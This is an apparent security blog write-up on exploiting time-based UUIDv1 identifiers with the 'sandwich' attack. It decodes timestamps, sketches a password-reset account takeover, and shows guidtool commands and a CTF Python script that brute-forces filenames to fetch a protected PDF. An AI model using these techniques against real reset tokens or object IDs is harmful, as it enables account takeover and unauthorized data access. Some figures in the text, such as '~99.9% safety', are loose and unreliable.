UUID Sandwich Exploitation

30 August 2025

UUID Sandwich Attack – Version 1

A UUID (Universally Unique Identifier), also known as GUID, has both vulnerable versions and stronger iterations that have emerged over time. These randomly generated unique values are produced at micro- or nanosecond precision. Although the chance of duplication is extremely low, it is never truly zero. Identical values can be generated, though detecting them is extremely difficult. The probability of duplication is low but never zero.

Example UUID:

f81d4fae-7dec-11d0-a765-00a0c91e6bf6

Exploitation

The Sandwich Attack usually appears in UUID version 1, which relies on time and MAC address for generation. This can lead to vulnerabilities such as Account Takeover, BOLA, or IDOR. UUIDv1 values produced within the same timestamp can be duplicated, enabling exploitation.

On Linux, you can generate values with the uuid command.

UUID v1: 6ea0f896-3144-11ef-a367-005056260027 & 6f03f496-3144-11ef-86bc-005056260027
Here, the values a367 and 86bc differ, but the MAC portion 005056260027 remains constant.

UUID v4: 60a0cf20-f5a8-4ea2-9469-d4269f0a5bc8 & 62f4a612-6d64-48a2-a271-26217702999e
Here the difference is complete. UUIDv4 offers ~99.9% safety, but UUIDv1 significantly increases risk.

For exploitation, see Burp Suite extension:
https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248

Also reference: https://datatracker.ietf.org/doc/html/rfc4122

uuidv1

10 Sequential Generations

f2c6e440-3145-11ef-8465-0800200c9a66
f2c6e441-3145-11ef-8465-0800200c9a66
f2c6e442-3145-11ef-8465-0800200c9a66
f2c6e443-3145-11ef-8465-0800200c9a66
f2c6e444-3145-11ef-8465-0800200c9a66
f2c6e445-3145-11ef-8465-0800200c9a66
f2c6e446-3145-11ef-8465-0800200c9a66
f2c6e447-3145-11ef-8465-0800200c9a66
f2c6e448-3145-11ef-8465-0800200c9a66
f2c6e449-3145-11ef-8465-0800200c9a66

As seen, time is highly sensitive:

Timestamp: 139384289967400006
Timestamp: 139384289967400007

The changing part f2c6e447-3145-11ef encodes the time. The MAC portion 08:00:20:0c:9a:66 often remains static.

UUID Extraction

Example UUID: 5c1dba54-ee3e-11ee-a951-0242ac120002
Time portion: 1eeee3e5c1dba54

uuid extract

Decode timestamp:

printf "%d\n" 0x1eeee3e5c1dba54
139310590095899220

Convert to decimal:

echo "scale=9; 139310590095899220 / 10^8" | bc
1393105900.958992200

This corresponds to Epoch time Saturday, 30 March 2024 02:36:49.

Using GuidReaper:

GuidReaper -d "5c1dba54-ee3e-11ee-a951-0242ac120002"
GUID version: 1
Time: 2024-03-30 02:36:49.589922
Timestamp: 139310590095899220
Node: 2485377957890
MAC address: 02:42:ac:12:00:02
Clock sequence: 10577

Reverse engineering UUIDv1 allows exploitation using Time Manipulation.

Exploitation Scenario

Suppose the system generates a password reset link using UUID.
Attacker account: uuid@attack.com, victim account: victim@attack.com.
Both trigger password reset at the same time.

Victim link:

https://server/reset_password?reset=dc464b70-314a-11ef-8465-0800200c9a66&user=victim@attack.com

Time: 2024-06-23 10:25:06.471000

Attacker link:

https://server/reset_password?reset=de7a4270-314a-11ef-8465-0800200c9a66&user=uuid@attack.com

Time: 2024-06-23 10:25:10.167000

A 4-second difference shows how concurrency flaws could enable account takeover.

With GuidTool, UUIDs can be generated for specific timestamps:

guidtool.py 667b8570-0d84-11ef-9ed0-0800200c9a66 -t "1923-10-29 20:30:00" -p 1 

This produces many values for a target time. Such weaknesses can lead to BOLA, IDOR, or Account Takeover.

See: Uuid-Exploitation

CTF Scenario

In an IguCTF challenge, we exploited UUIDv1 Sandwich to access unauthorized files and retrieve a flag.

igu cyber

Hashing filenames locally avoids server overload. Example script:

import hashlib
from colorama import init, Fore
import PyPDF2
import requests
import io 

init(autoreset=True)

target_hash = 'def3c4c32117683fcffad14e3b2a9b5d'

def md5_hash(text):
    return hashlib.md5(text.encode()).hexdigest()

def get_pdf_metadata_from_url(pdf_url):
    response = requests.get(pdf_url)
    if response.status_code == 200:
        pdf_content = response.content
        pdf_file = PyPDF2.PdfFileReader(io.BytesIO(pdf_content))
        return pdf_file.getDocumentInfo()
    return None

with open('FullAttackUUID.txt', 'r') as file:
    for line in file:
        filename = line.strip() + '.pdf'
        if md5_hash(filename) == target_hash:
            print(Fore.GREEN + f"Match found: {filename}")
            url = f"https://demindensimdiyegeldim.igusiber.com.tr/{filename}"
            metadata = get_pdf_metadata_from_url(url)
            if metadata:
                for key, value in metadata.items():
                    print(f"{key}: {value}")
            break

Final

UUIDv1 is predictable due to timestamps and MAC addresses, making it exploitable. UUIDv4 is safer, but UUIDv1 remains in use, creating risks.

exp

Acknowledgment

I would like to sincerely thank Çağrı Eser for his invaluable contributions and support.

You can connect with him on LinkedIn.

NullSecurityX